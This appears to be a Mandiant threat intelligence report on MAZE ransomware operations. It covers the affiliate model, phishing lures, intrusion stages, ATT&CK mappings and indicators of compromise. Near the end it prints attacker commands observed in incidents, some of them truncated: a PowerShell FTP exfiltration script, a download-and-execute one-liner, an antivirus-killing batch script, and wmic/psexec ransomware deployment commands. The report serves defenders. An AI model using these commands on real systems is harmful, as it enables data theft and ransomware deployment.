

[Threat Intelligence](#)

# Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents

July 5, 2020

**Mandiant**

Written by: Jeremy Kennelly, Kimberly Goody,  
Joshua Shilko



Targeted ransomware incidents have brought a threat of disruptive and destructive attacks to organizations across industries and geographies. FireEye [Mandiant Threat Intelligence](#) has previously documented this threat in our investigations of [trends across ransomware incidents](#), [FIN6 activity](#), [implications for OT networks](#), and other aspects of post-

compromise ransomware deployment. Since November 2019, we've seen the MAZE ransomware being used in attacks that combine targeted ransomware use, public exposure of victim data, and an affiliate model.

Malicious actors have been actively deploying **MAZE ransomware** since at least May 2019. The ransomware was initially distributed via spam emails and exploit kits before later shifting to being deployed post-compromise. Multiple actors are involved in MAZE ransomware operations, based on our observations of alleged users in underground forums and distinct tactics, techniques, and procedures across Mandiant incident response engagements. Actors behind MAZE also maintain a public-facing website where they post data stolen from victims who refuse to pay an extortion fee.

The combination of these two damaging intrusion outcomes—dumping sensitive data and disrupting enterprise networks—with a criminal service makes MAZE a notable threat to many organizations. This blog post is based on information derived from numerous Mandiant incident response engagements and our own research into the MAZE ecosystem and operations.

Mandiant Threat Intelligence will be available to answer questions on the [MAZE ransomware](#)

[threat in a May 21 webinar](#).

## Victimology

We are aware of more than 100 alleged MAZE victims reported by various media outlets and on the MAZE website since November 2019. These organizations have been primarily based in North America, although victims spanned nearly every geographical region. Nearly every industry sector including manufacturing, legal, financial services, construction, healthcare, technology, retail, and government has been impacted demonstrating that indiscriminate nature of these operations (Figure 1).

---

*Figure 1: Geographical and industry distribution of alleged MAZE victims*

## Multiple Actors Involved in MAZE Ransomware Operations Identified

Mandiant identified multiple Russian-speaking actors who claimed to use MAZE ransomware and were seeking partners to fulfill different functional roles within their teams. Additional information on these actors is available to [Mandiant Intelligence subscribers](#). A panel used to manage victims targeted for MAZE

ransomware deployment has a section for affiliate transactions. This activity is consistent with our assessment that MAZE operates under an affiliate model and is not distributed by a single group. Under this business model, ransomware developers will partner with other actors (i.e. affiliates) who are responsible for distributing the malware. In these scenarios, when a victim pays the ransom demand, the ransomware developers receive a commission. Direct affiliates of MAZE ransomware also partner with other actors who perform specific tasks for a percentage of the ransom payment. This includes partners who provide initial access to organizations and pentesters who are responsible for reconnaissance, privilege escalation and lateral movement—each of which who appear to work on a percentage-basis. Notably, in some cases, actors may be hired on a salary basis (vs commission) to perform specific tasks such as determining the victim organization and its annual revenues. This allows for specialization within the cyber criminal ecosystem, ultimately increasing efficiency, while still allowing all parties involved to profit.

---

*Figure 2: MAZE ransomware panel*

## **MAZE Initially Distributed via Exploit Kits and Spam Campaigns**

MAZE ransomware was initially distributed directly via exploit kits and [spam campaigns](#) through late 2019. For example, in November 2019, Mandiant observed multiple email campaigns delivering Maze ransomware primarily to individuals at organizations in Germany and the United States, although a significant number of emails were also delivered to entities in Canada, Italy, and South Korea. These emails used tax, invoice, and package delivery themes with document attachments or inline links to documents which download and execute Maze ransomware.

On November 6 and 7, a Maze campaign targeting Germany delivered macro-laden documents using the subject lines “Wichtige informationen über Steuerrückerstattung” and “1&1 Internet AG - Ihre Rechnung 19340003422 vom 07.11.19” (Figure 3). Recipients included individuals at organizations in a wide range of industries, with the Financial Services, Healthcare, and Manufacturing sectors being targeted most frequently. These emails were sent using a number of malicious domains created with the registrant address gladkoff1991@yandex.ru.

---

*Figure 3: German-language lure*

On November 8, a campaign delivered Maze primarily to Financial Services and Insurance organizations located in the United states. These emails originated from a compromised or spoofed account and contained an inline link to download a Maze executable payload.

On November 18 and 19, a Maze campaign targeted individuals operating in a range of industries in the United States and Canada with macro documents using phone bill and package delivery themes (Figure 4 and Figure 5). These emails used the subjects "Missed package delivery" and "Your AT&T wireless bill is ready to view" and were sent using a number of malicious domains with the registrant address `abusereceive@hitler.rocks`. Notably, this registrant address was also used to create multiple Italian-language domains towards the end of November 2019.

---

*Figure 4: AT&T email lure*

---

---

*Figure 5: Canada Post email lure*

---

## Shift to Post-Compromise Distribution Maximizes Impact

Actors using MAZE have increasingly shifted to deploying the ransomware post-compromise. This methodology provides an opportunity to infect more hosts within a victim's environment and exfiltrate data, which is leveraged to apply additional pressure on organizations to pay extortion fees. Notably, in at least some cases, the actors behind these operations charge an additional fee, in addition to the decryption key, for the non-release of stolen data.

Although the high-level intrusion scenarios preceding the distribution of MAZE ransomware are broadly similar, there have been notable variations across intrusions that suggest attribution to distinct teams. Even within these teams, the cyber criminals appear to be task-oriented meaning that one operator is not responsible for the full lifecycle. The following sections highlight the TTPs seen in a subset of incidents and serve to illustrate the divergence that may occur due to the fact that numerous, disparate actors are involved in different phases of these operations. Notably, the time between initial compromise to encryption has also been widely varied, from weeks to many months.

### *Initial Compromise*

There are few clear patterns for intrusion vector across analyzed MAZE ransomware incidents. This is consistent with our observations of multiple actors who use MAZE soliciting partners

with network access. The following are a sample of observations from several Mandiant incident response engagements:

- A user downloaded a malicious resume-themed Microsoft Word document that contained macros which launched an IcedID payload, which was ultimately used to execute an instance of BEACON.
- An actor logged into an internet-facing system via RDP. The account used to grant initial access was a generic support account. It is unclear how the actor obtained the account's password.
- An actor exploited a misconfiguration on an Internet-facing system. This access enabled the actor to deploy tools to pivot into the internal network.
- An actor logged into a Citrix web portal account with a weak password. This authenticated access enabled the actor to launch a Meterpreter payload on an internal system.

### *Establish Foothold & Maintain Presence*

The use of legitimate credentials and broad distribution of BEACON across victim environments appear to be consistent approaches used by actors to establish their foothold in victim networks and to maintain presence as they look to meet their ultimate



objective of deploying MAZE ransomware. Despite these commonplace behaviors, we have observed an actor create their own domain account to enable latter-stage operations.

- Across multiple incidents, threat actors deploying MAZE established a foothold in victim environments by installing BEACON payloads on many servers and workstations.
- Web shells were deployed to an internet-facing system. The system level access granted by these web shells was used to enable initial privilege escalation and the execution of a backdoor.
- Intrusion operators regularly obtained and maintained access to multiple domain and local system accounts with varying permissions that were used throughout their operations.
- An actor created a new domain account and added it to the domain administrators group.

### *Escalate Privileges*

Although Mandiant has observed multiple cases where MAZE intrusion operators employed Mimikatz to collect credentials to enable privilege escalation, these efforts have also been bolstered in multiple cases via use of Bloodhound, and more manual searches for files containing credentials.

- Less than two weeks after initial access, the

actor downloaded and interacted with an archive named *mimi.zip*, which contained files corresponding to the credential harvesting tool **Mimikatz**. In the following days the same *mimi.zip* archive was identified on two domain controllers in the impacted environment.

- The actor attempted to find files with the word “password” within the environment. Additionally, several archive files were also created with file names suggestive of credential harvesting activity.
- The actor attempted to identify hosts running the KeePass password safe software.
- Across multiple incidents, the Bloodhound utility was used, presumably to assess possible methods of obtaining credentials with domain administrator privileges.
- Actors primarily used Procdump and Mimikatz to collect credentials used to enable later stages of their intrusion. Notably, both Bloodhound and PingCastle were also used, presumably to enable attackers' efforts to understand the impacted organization's Active Directory configuration. In this case the responsible actors also attempted to exfiltrate collected credentials to multiple different cloud file storage services.

## *Reconnaissance*

Mandiant has observed a broad range of approaches to network, host, data, and Active Directory reconnaissance across observed MAZE incidents. The varied tools and approaches across these incidents maybe best highlights the divergent ways in which the responsible actors interact with victim networks.

- In some intrusions, reconnaissance activity occurred within three days of gaining initial access to the victim network. The responsible actor executed a large number of reconnaissance scripts via Cobalt Strike to collect network, host, filesystem, and domain related information.
- Multiple built-in Windows commands were used to enable network, account, and host reconnaissance of the impacted environment, though the actors also supplied and used Advanced IP Scanner and Adfind to support this stage of their operations.
- Preliminary network reconnaissance has been conducted using a batch script named '2.bat' which contained a series of nslookup commands. The output of this script was copied into a file named '2.txt'.
- The actor exfiltrated reconnaissance command output data and documents related to the IT environment to an attacker-

controlled FTP server via an encoded PowerShell script.

- Over a period of several days, an actor conducted reconnaissance activity using Bloodhound, PowerSploit/PowerView (Invoke-ShareFinder), and a reconnaissance script designed to enumerate directories across internal hosts.
- An actor employed the adfind tool and a batch script to collect information about their network, hosts, domain, and users. The output from this batch script (2adfind.bat) was saved into an archive named 'ad.7z' using an instance of the 7zip archiving utility named 7.exe.
- An actor used the tool *smbtools.exe* to assess whether accounts could login to systems across the environment.
- An actor collected directory listings from file servers across an impacted environment. Evidence of data exfiltration was observed approximately one month later, suggesting that the creation of these directory listings may have been precursor activity, providing the actors with data they may have used to identify sensitive data for future exfiltration.

### *Lateral Movement*

Across the majority of MAZE ransomware incidents lateral movement was accomplished

via Cobalt Strike BEACON and using previously harvested credentials. Despite this uniformity, some alternative tools and approaches were also observed.

- Attackers relied heavily on Cobalt Strike BEACON to move laterally across the impacted environment, though they also tunneled RDP using the ngrok utility, and employed tscon to hijack legitimate rdp sessions to enable both lateral movement and privilege escalation.
- The actor moved laterally throughout some networks leveraging compromised service and user accounts obtained from the system on which they gained their initial foothold. This allowed them to obtain immediate access to additional systems. Stolen credentials were then used to move laterally across the network via RDP and to install BEACON payloads providing the actors with access to nearly one hundred hosts.
- An actor moved laterally using Metasploit and later deployed a Cobalt Strike payload to a system using a local administrator account.
- At least one actor attempted to perform lateral movement using EternalBlue in early and late 2019; however, there is no evidence that these attempts were successful.

### *Complete Mission*

There was evidence suggesting data exfiltration across most analyzed MAZE ransomware incidents. While malicious actors could monetize stolen data in various way (e.g. sale in an underground forum, fraud), actors employing MAZE are known to threaten the release of stolen data if victim organizations do not pay an extortion fee.

- An actor has been observed exfiltrating data to FTP servers using a base64-encoded PowerShell script designed to upload any files with .7z file extensions to a predefined FTP server using a hard-coded username and password. This script appears to be a slight variant of a script first posted to Microsoft TechNet in 2013.
- A different base64-encoded PowerShell command was also used to enable this functionality in a separate incident.
- Actors deploying MAZE ransomware have also used the utility WinSCP to exfiltrate data to an attacker-controlled FTP server.
- An actor has been observed employing a file replication utility and copying the stolen data to a cloud file hosting/sharing service.
- Prior to deploying MAZE ransomware threat actors employed the 7zip utility to archive data from across various corporate file shares. These archives were then exfiltrated to an attacker-controlled server via FTP using the WinSCP utility.

In addition to data theft, actors deploy MAZE ransomware to encrypt files identified on the victim network. Notably, the aforementioned MAZE panel has an option to specify the date on which ransom demands will double, likely to create a sense of urgency to their demands.

- Five days after data was exfiltrated from a victim environment the actor copied a MAZE ransomware binary to 15 hosts within the victim environment and successfully executed it on a portion of these systems.
- Attackers employed batch scripts and a series of txt files containing host names to distribute and execute MAZE ransomware on many servers and workstations across the victim environment.
- An actor deployed MAZE ransomware to tens of hosts, explicitly logging into each system using a domain administrator account created earlier in the intrusion.
- Immediately following the exfiltration of sensitive data, the actors began deployment of MAZE ransomware to hosts across the network. In some cases, thousands of hosts were ultimately encrypted. The encryption process proceeded as follows:
  - A batch script named *start.bat* was used to execute a series of secondary batch scripts with names such as *xaa3x.bat* or *xab3x.bat*.

- Each of these batch scripts contained a series of commands that employed the copy command, WMIC, and PsExec to copy and execute a kill script (windows.bat) and an instance of MAZE ransomware (sss.exe) on hosts across the impacted environment
- Notably, forensic analysis of the impacted environment revealed MAZE deployment scripts targeting ten times as many hosts as were ultimately encrypted.

## Implications

Based on our belief that the MAZE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat, particularly in terms of the initial intrusion vector. For more comprehensive recommendations for addressing ransomware, please refer to our [Ransomware Protection and Containment Strategies](#) blog post and the linked white paper.

## Mandiant Security Validation Actions

Organizations can validate their security



controls against more than 20 MAZE-specific actions with Mandiant Security Validation. Please see our Headline Release Content Updates – April 21, 2020 on the Mandiant Security Validation Customer Portal for more information.

- A100-877 - Active Directory - BloodHound, CollectionMethod All
- A150-006 - Command and Control - BEACON, Check-in
- A101-030 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #1
- A101-031 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #2
- A101-032 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #3
- A100-878 - Command and Control - MAZE Ransomware, C2 Check-in
- A100-887 - Command and Control - MAZE, DNS Query #1
- A100-888 - Command and Control - MAZE, DNS Query #2
- A100-889 - Command and Control - MAZE, DNS Query #3
- A100-890 - Command and Control - MAZE, DNS Query #4
- A100-891 - Command and Control - MAZE, DNS Query #5
- A100-509 - Exploit Kit Activity - Fallout

## Exploit Kit CVE-2018-8174, Github PoC

- A100-339 - Exploit Kit Activity - Fallout  
Exploit Kit CVE-2018-8174, Landing Page
- A101-033 - Exploit Kit Activity - Spelevo  
Exploit Kit, MAZE C2
- A100-208 - FTP-based Exfil/Upload of PII  
Data (Various Compression)
- A104-488 - Host CLI - Collection,  
Exfiltration: Active Directory Reconnaissance  
with SharpHound, CollectionMethod All
- A104-046 - Host CLI - Collection,  
Exfiltration: Data from Local Drive using  
PowerShell
- A104-090 - Host CLI - Collection, Impact:  
Creation of a Volume Shadow Copy
- A104-489 - Host CLI - Collection: Privilege  
Escalation Check with PowerUp, Invoke-  
AllChecks
- A104-037 - Host CLI - Credential Access,  
Discovery: File & Directory Discovery
- A104-052 - Host CLI - Credential Access:  
Mimikatz
- A104-167 - Host CLI - Credential Access:  
Mimikatz (2.1.1)
- A104-490 - Host CLI - Defense Evasion,  
Discovery: Terminate Processes, Malware  
Analysis Tools
- A104-491 - Host CLI - Defense Evasion,  
Persistence: MAZE, Create Target.Ink

- A104-500 - Host CLI - Discovery, Defense Evasion: Debugger Detection
- A104-492 - Host CLI - Discovery, Execution: Antivirus Query with WMI, PowerShell
- A104-374 - Host CLI - Discovery: Enumerate Active Directory Forests
- A104-493 - Host CLI - Discovery: Enumerate Network Shares
- A104-481 - Host CLI - Discovery: Language Query Using PowerShell, Current User
- A104-482 - Host CLI - Discovery: Language Query Using reg query
- A104-494 - Host CLI - Discovery: MAZE, Dropping Ransomware Note Burn Directory
- A104-495 - Host CLI - Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.html Variant
- A104-496 - Host CLI - Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.txt Variant
- A104-027 - Host CLI - Discovery: Process Discovery
- A104-028 - Host CLI - Discovery: Process Discovery with PowerShell
- A104-029 - Host CLI - Discovery: Remote System Discovery
- A104-153 - Host CLI - Discovery: Security

## Software Identification with Tasklist

- A104-083 - Host CLI - Discovery: System Info
- A104-483 - Host CLI - Exfiltration: PowerShell FTP Upload
- A104-498 - Host CLI - Impact: MAZE, Desktop Wallpaper Ransomware Message
- A104-227 - Host CLI - Initial Access, Lateral Movement: Replication Through Removable Media
- A100-879 - Malicious File Transfer - Adfind.exe, Download
- A150-046 - Malicious File Transfer - BEACON, Download
- A100-880 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp Executable Variant
- A100-881 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp PowerShell Variant
- A100-882 - Malicious File Transfer - Bloodhound Ingestor Download, PowerShell Variant
- A101-037 - Malicious File Transfer - MAZE Download, Variant #1
- A101-038 - Malicious File Transfer - MAZE Download, Variant #2
- A101-039 - Malicious File Transfer - MAZE Download, Variant #3

- A101-040 - Malicious File Transfer - MAZE Download, Variant #4
- A101-041 - Malicious File Transfer - MAZE Download, Variant #5
- A101-042 - Malicious File Transfer - MAZE Download, Variant #6
- A101-043 - Malicious File Transfer - MAZE Download, Variant #7
- A101-044 - Malicious File Transfer - MAZE Download, Variant #8
- A101-045 - Malicious File Transfer - MAZE Download, Variant #9
- A101-034 - Malicious File Transfer - MAZE Dropper Download, Variant #1
- A101-035 - Malicious File Transfer - MAZE Dropper Download, Variant #2
- A100-885 - Malicious File Transfer - MAZE Dropper Download, Variant #4
- A101-036 - Malicious File Transfer - MAZE Ransomware, Malicious Macro, PowerShell Script Download
- A100-284 - Malicious File Transfer - Mimikatz W/ Padding (1MB), Download
- A100-886 - Malicious File Transfer - Rclone.exe, Download
- A100-484 - Scanning Activity - Nmap smb-enum-shares, SMB Share Enumeration

## Detecting the Techniques

Platform	Signature Name
<b>MVX (covers multiple FireEye technologies)</b>	Bale Detection  FE_Ransomware_Win_MAZE
<b>Endpoint Security</b>	WMIC SHADOWCOPY DELETE (METHODOLOGY)  MAZE RANSOMWARE (FAMILY)
<b>Network Security</b>	Ransomware.Win.MAZE  Ransomware.Maze  Ransomware.Maze

## MITRE ATT&CK Mappings

Mandiant currently tracks three separate clusters of activity involved in the post-compromise distribution of MAZE ransomware. Future data collection and analysis efforts may reveal additional groups involved in intrusion

activity supporting MAZE operations, or may instead allow us to collapse some of these groups into larger clusters. It should also be noted that ‘initial access’ phase techniques have been included in these mappings, though in some cases this access may have been provided by a separate threat actor(s).

## MAZE Group 1 MITRE ATT&CK Mapping

ATT&CK Tactic Category	Techniques
Initial Access	T1133: External Remote Services  T1078: Valid Accounts
Execution	T1059: Command-Line Interface  T1086: PowerShell  T1064: Scripting  T1035: Service Execution

<b>Persistence</b>	<p>T1078: Valid Accounts</p> <p>T1050: New Service</p>
<b>Privilege Escalation</b>	<p>T1078: Valid Accounts</p>
<b>Defense Evasion</b>	<p>T1078: Valid Accounts</p> <p>T1036: Masquerading</p> <p>T1027: Obfuscated Files or Information</p> <p>T1064: Scripting</p>
<b>Credential Access</b>	<p>T1110: Brute Force</p> <p>T1003: Credential Dumping</p>
<b>Discovery</b>	<p>T1087: Account Discovery</p> <p>T1482: Domain Trust Discovery</p> <p>T1083: File and Directory Discovery</p> <p>T1135: Network Share Discovery</p> <p>T1069: Permission Groups</p>



	<p>Discovery</p> <p>T1018: Remote System Discovery</p> <p>T1016: System Network Configuration Discovery</p>
<b>Lateral Movement</b>	<p>T1076: Remote Desktop Protocol</p> <p>T1105: Remote File Copy</p>
<b>Collection</b>	<p>T1005: Data from Local System</p>
<b>Command and Control</b>	<p>T1043: Commonly Used Port</p> <p>T1105: Remote File Copy</p> <p>T1071: Standard Application Layer Protocol</p>
<b>Exfiltration</b>	<p>T1002: Data Compressed</p> <p>T1048: Exfiltration Over Alternative Protocol</p>
<b>Impact</b>	<p>T1486: Data Encrypted for Impact</p>

	T1489: Service Stop
--	---------------------

## MAZE Group 2 MITRE ATT&CK Mapping

ATT&CK Tactic Category	Techniques
Initial Access	T1193: Spearphishing Attachment
Execution	T1059: Command-Line Interface  T1086: PowerShell  T1085: Rundll32  T1064: Scripting  T1204: User Execution  T1028: Windows Remote Management
Persistence	T1078: Valid Accounts  T1050: New Service

	T1136: Create Account
<b>Privilege Escalation</b>	T1078: Valid Accounts T1050: New Service
<b>Defense Evasion</b>	T1078: Valid Accounts  T1140: Deobfuscate/Decode Files or Information  T1107: File Deletion  T1036: Masquerading
<b>Credential Access</b>	T1003: Credential Dumping  T1081: Credentials in Files  T1171: LLMNR/NBT-NS Poisoning
	T1087: Account Discovery  T1482: Domain Trust Discovery  T1083: File and Directory Discovery  T1135: Network Share

<b>Discovery</b>	<p>Discovery</p> <p>T1069: Permission Groups Discovery</p> <p>T1018: Remote System Discovery</p> <p>T1033: System Owner/User Discovery</p>
<b>Lateral Movement</b>	<p>T1076: Remote Desktop Protocol</p> <p>T1028: Windows Remote Management</p>
<b>Collection</b>	<p>T1074: Data Staged</p> <p>T1005: Data from Local System</p> <p>T1039: Data from Network Shared Drive</p>
<b>Command and Control</b>	<p>T1043: Commonly Used Port</p> <p>T1219: Remote Access Tools</p> <p>T1105: Remote File Copy</p>

	<p>T1071: Standard Application Layer Protocol</p> <p>T1032: Standard Cryptographic Protocol</p>
<b>Exfiltration</b>	<p>T1020: Automated Exfiltration</p> <p>T1002: Data Compressed</p> <p>T1048: Exfiltration Over Alternative Protocol</p>
<b>Impact</b>	<p>T1486: Data Encrypted for Impact</p>

## MAZE Group 3 MITRE ATT&CK Mapping (FIN6)

<b>ATT&amp;CK Tactic Category</b>	<b>Techniques</b>
<b>Initial Access</b>	<p>T1133: External Remote Services</p> <p>T1078: Valid Accounts</p>

<b>Execution</b>	<p>T1059: Command-Line Interface</p> <p>T1086: PowerShell</p> <p>T1064: Scripting</p> <p>T1035: Service Execution</p>
<b>Persistence</b>	<p>T1078: Valid Accounts</p> <p>T1031: Modify Existing Service</p>
<b>Privilege Escalation</b>	<p>T1055: Process Injection</p> <p>T1078: Valid Accounts</p>
<b>Defense Evasion</b>	<p>T1055: Process Injection</p> <p>T1078: Valid Accounts</p> <p>T1116: Code Signing</p> <p>T1089: Disabling Security Tools</p> <p>T1202: Indirect Command Execution</p> <p>T1112: Modify Registry</p> <p>T1027: Obfuscated Files</p>

	<p>or Information</p> <p>T1108: Redundant Access</p> <p>T1064: Scripting</p>
<b>Credential Access</b>	T1003: Credential Dumping
<b>Discovery</b>	<p>T1087: Account Discovery</p> <p>T1482: Domain Trust Discovery</p> <p>T1083: File and Directory Discovery</p> <p>T1069: Permission Groups Discovery</p> <p>T1018: Remote System Discovery</p>
<b>Lateral Movement</b>	<p>T1097: Pass the Ticket</p> <p>T1076: Remote Desktop Protocol</p> <p>T1105: Remote File Copy</p>

	T1077: Windows Admin Shares
<b>Collection</b>	<p>T1074: Data Staged</p> <p>T1039: Data from Network Shared Drive</p>
<b>Command and Control</b>	<p>T1043: Commonly Used Port</p> <p>T1219: Remote Access Tools</p> <p>T1105: Remote File Copy</p> <p>T1071: Standard Application Layer Protocol</p> <p>T1032: Standard Cryptographic Protocol</p>
<b>Exfiltration</b>	T1002: Data Compressed
<b>Impact</b>	<p>T1486: Data Encrypted for Impact</p> <p>T1490: Inhibit System Recovery</p> <p>T1489: Service Stop</p>



## Example Commands Observed in MAZE Ransomware Incidents

```
function Enum-UsersFolders($PathEnum
{
    $foldersArr = 'Desktop','Downloa
    Get-ChildItem -Path $PathEnum'/c:
    Get-ChildItem -Path $PathEnum'/c:
    Get-ChildItem -Path $PathEnum'/c:
    foreach($Directory in Get-ChildI
        foreach($SeachDir in $folder
            Get-ChildItem -Path $Pat
        }
    }
}
```

PowerShell reconnaissance script used to enumerate directories

```
$Dir="C:/Windows/Temp/"
#ftp server
$ftp = "ftp://<IP Address>/incoming/"
$user = "<username>"
$pass = "<password>"
$webclient = New-Object System.Net.W
$webclient.Credentials = New-Object :
#list every sql server trace file
foreach($item in (dir $Dir "*.7z")){
    "Uploading $item..."
    $uri = New-Object System.Uri($ftp
    $webclient.UploadFile($uri, $item
```

```
}
```

Decoded FTP upload PowerShell script

```
powershell -nop -exec bypass IEX (New-Object System.Net.WebClient).DownloadFile('http://10.10.10.10:8080/PowerShell.exe', 'C:\Windows\temp\PowerShell.exe')
```

Decoded FTP upload PowerShell script

```
[...]
echo 7
echo 7
taskkill /im csrss_tc.exe /f
taskkill /im kwsprod.exe /f
taskkill /im avkwctl.exe /f
taskkill /im rnav.exe /f
taskkill /im crssvc.exe /f
sc config CSAuth start= disabled
taskkill /im vsserv.exe /f
taskkill /im ppmcatedetection.exe /f
[...]
taskkill /im sahookmain.exe /f
taskkill /im mcinfo.exe /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CSAuth\Parameters" /v Start /t REG_DWORD /d 0
netsh advfirewall firewall set rule group "CSAuth" /enable
c:\windows\temp\sss.exe
```

Excerpt from windows.bat kill script

```
start copy sss.exe \\<internal IP>\c:\windows\temp\sss.exe
```

```
start copy sss.exe \\<internal IP>\c:

start copy windows.bat \\<internal IP>
start copy windows.bat \\<internal IP>

start wmic /node:"<internal IP>" /user:
start wmic /node:"<internal IP>" /user:

start wmic /node:"<internal IP>" /user:
start wmic /node:"<internal IP>" /user:

start wmic /node:"<internal IP>" /user:
start wmic /node:"<internal IP>" /user:

start wmic /node:"<internal IP>" /user:
start wmic /node:"<internal IP>" /user:

start psexec.exe \\<internal IP> -u:
start psexec.exe \\<internal IP> -u:

start psexec.exe \\<internal IP> -u:
start psexec.exe \\<internal IP> -u:
```

Example commands from MAZE distribution scripts

```
@echo off
del done.txt
del offline.txt
rem Loop thru list of computer names
for /f %i in (%1) do call :check_ma
```

```
goto end
:check_machine
rem Check to see if machine is up.
ping -n 1 %1|Find "TTL=" >NUL 2>NUL
if errorlevel 1 goto down
echo %1
START cmd /c "copy [Location of MAZE
timeout 1 > NUL
echo %1 >> done.txt
rem wmic /node:"%1" process call creat
START "" cmd /c "wmic /node:"%1" pro
goto end
:down
    rem Report machine down
    echo %1 >> offline.txt
:end
```

Example MAZE distribution script

## Indicators of Compromise

	064058cf092063a5b69ed8fd2
	0f841c6332c89eaa7cac14c9d5
	108a298b4ed5b4e77541061f32
	11308e450b1f17954f531122a56f

15d7dd126391b0e7963c562a6c  
 21a563f958b73d453ad91e251b'  
 27c5ecbb94b84c315d56673a8'  
 2f78ff32cbb3c478865a8827624  
 335aba8d135cc2e66549080ec  
 3bfcba2dd05e1c75f86c008f4c  
 46b98ee908d08f15137e509e5e  
 5774f35d180c0702741a46d981'  
 5df79164b6d0661277f11691121b  
 658e9deec68cf5d33ee0779f54  
 65cf08ffaf12e47de8cd37098ae  
 79d137d91be9819930eeb3876e  
 8045b3d2d4a6084f14618b028'  
 8205a1106ae91d0b0705992d6  
 83b8d994b989f6cbeea3e1a5d'  
 868d604146e7e5cb5995934b0  
 87239ce48fc8196a5ab66d8562  
 89e1ddb8cc86c710ee068d6c6

Maze Payloads	910aa49813ee4cc7e4fa0074dk
	9eb13d56c363df67490bcc2149
	a0c5b4adbcd9eb6de9d32537k
	a3a3495ae2fc83479baeaf1878e
	b02be7a336dcc6635172e0d6e
	b40a9eda37493425782bda4a3
	b4d6cb4e52bb525ebe433490i
	b6786f141148925010122819047
	b93616a1ea4f4a131cc0507e6c7
	bd9838d84fd77205011e8b0c2k
	be537a66d01c67076c8491b05i
	bf2e43ff8542e73c1b27291e0df
	c3ce5e8075f506e396ee601f27
	d2dda72ff2fbbb89bd871c5fc21
	d3eaab616883fcf51dcbdb4769i
	d552be44a11d831e874e05cada
	deebbea18401e8b5e83c410c6e
	dfa4631ec2b8459b1041168b1b1

	<p>e57ba11045a4b7bc30bd2d334</p> <p>e69a8eb94f65480980deaf1ff5</p> <p>ef95c48e750c1a3b1af8f5446fa</p> <p>f04d404d84be66e64a584d425</p> <p>f457bb5060543db3146291d8c6</p> <p>f5ecda7dd8bb1c514f93c09cea</p> <p>f83cef2bf33a4d43e58b771e81a</p> <p>fba4cbb7167176990d5a8d24e9</p>
	<p>91.218.114.11</p> <p>91.218.114.25</p> <p>91.218.114.26</p> <p>91.218.114.31</p> <p>91.218.114.32</p> <p>91.218.114.37</p> <p>91.218.114.38</p> <p>91.218.114.4</p> <p>91.218.114.77</p>

Maze Check-in IPs	91.218.114.79
	92.63.11.151
	92.63.15.6
	92.63.15.8
	92.63.17.245
	92.63.194.20
	92.63.194.3
	92.63.29.137
	92.63.32.2
	92.63.32.52
	92.63.32.55
	92.63.32.57
	92.63.37.100
	92.63.8.47
Maze- related Domains	aoacugmutagkwctu[.]onion
	mazedecrypt[.]top
	mazenews[.]top



	newsmaze[.]top
Maze Download URLs	http://104.168.174.32/wordupd_3
	http://104.168.198.208/wordupd
	http://104.168.201.35/dospizdos
	http://104.168.201.47/wordupd.t
	http://104.168.215.54/wordupd.t
	http://149.56.245.196/wordupd.t
	http://192.119.106.235/mswordu
	http://192.119.106.235/officeupd
	http://192.99.172.143/winupd.tm
	http://54.39.233.188/win163.65.t
	http://91.208.184.174:8079/wind
	http://agenziainformazioni[.]icu
	http://www.download- invoice[.]site/Invoice_29557473
	1a26c9b6ba40e4e3c3dce12de:
	53d5bdc6bd7904b44078cf80e
	79271dc08052480a578d583a2

Malicious Documents	<p>a2d631fcb08a6c840c23a8f46f</p> <p>ad30987a53b1b0264d806805c</p> <p>c09af442e8c808c953f4fa4619</p> <p>ee26e33725b14850b1776a67bc</p>
BEACON C2s	<p>173.209.43.61</p> <p>193.36.237.173</p> <p>37.1.213.9</p> <p>37.252.7.142</p> <p>5.199.167.188</p> <p>checksoffice[.]me</p> <p>drivers.updatecenter[.]icu</p> <p>plaintsotherest[.]net</p> <p>thesawmeinrew[.]net</p> <p>updates.updatecenter[.]icu</p>
	<p>7507fe19afbda652e9b2768c10</p> <p>a93b86b2530cc988f801462ea</p> <p>4f57e35a89e257952c3809211b</p>

Cobalt Strike Binaries	<p>bad6fc87a98d1663be0df23aec</p> <p>f5ef96251f183f7fc63205d8ebf3</p> <p>c818cc38f46c604f8576118f12fc</p> <p>078cf6db38725c37030c79ef73</p> <p>c255daaa8abfadc12c9ae8ae2d</p> <p>1fef99f05bf5ae78a28d52161250</p> <p>cebe4799b6aff9cead533536b0</p> <p>4ccca6ff9b667a01df55326fcc8</p> <p>bad6fc87a98d1663be0df23aec</p>
Meterpreter C2s	<p>5.199.167.188</p>
Other Related Files	<p>3A5A9D40D4592C344920DD0 (related script)</p> <p>76f8f28bd51efa03ab992fdb050 (MAZE execution artifact)</p> <p>b5aa49c1bf4179452a85862ade (windows.bat kill script)</p> <p>fad3c6914d798e29a3fd8e415f1 (related script)</p>

Tools & Utilities	<p>27304b246c7d5b4e149124d5f9 (PsExec)</p> <p>42badc1d2f03a8b1e4875740d3</p> <p>75b55bb34dac9d02740b9ad6k (PsExec)</p> <p>9b02dd2a1a15e94922be3f8512 (AdFind)</p> <p>c621a9f931e4ebf37dace74efcc (SMBTools)</p> <p>f413b4a2242bb60829c9a470e (winRAR)</p>
Email Sender Domains	<p>att-customer[.]com</p> <p>att-information[.]com</p> <p>att-newsroom[.]com</p> <p>att-plans[.]com</p> <p>bezahlen-1und1[.]icu</p> <p>bzst-info[.]icu</p> <p>bzst-inform[.]icu</p> <p>bzstinfo[.]icu</p>

	bzstinform[.]icu canada-post[.]icu canadapost-delivery[.]icu canadapost-tracking[.]icu hilfe-center-1und1[.]icu hilfe-center-internetag[.]icu trackweb-canadapost[.]icu
Sender Domain Registrant Addresses	abusereceive@hitler.rocks gladkoff1991@yandex.ru

Mandiant Threat Intelligence will host an exclusive webinar on Thursday, May 21, 2020, at 8 a.m. PT / 11 a.m. ET to provide updated insight and information into the MAZE ransomware threat, and to answer questions from attendees. [Register today](#) to reserve your spot.

---

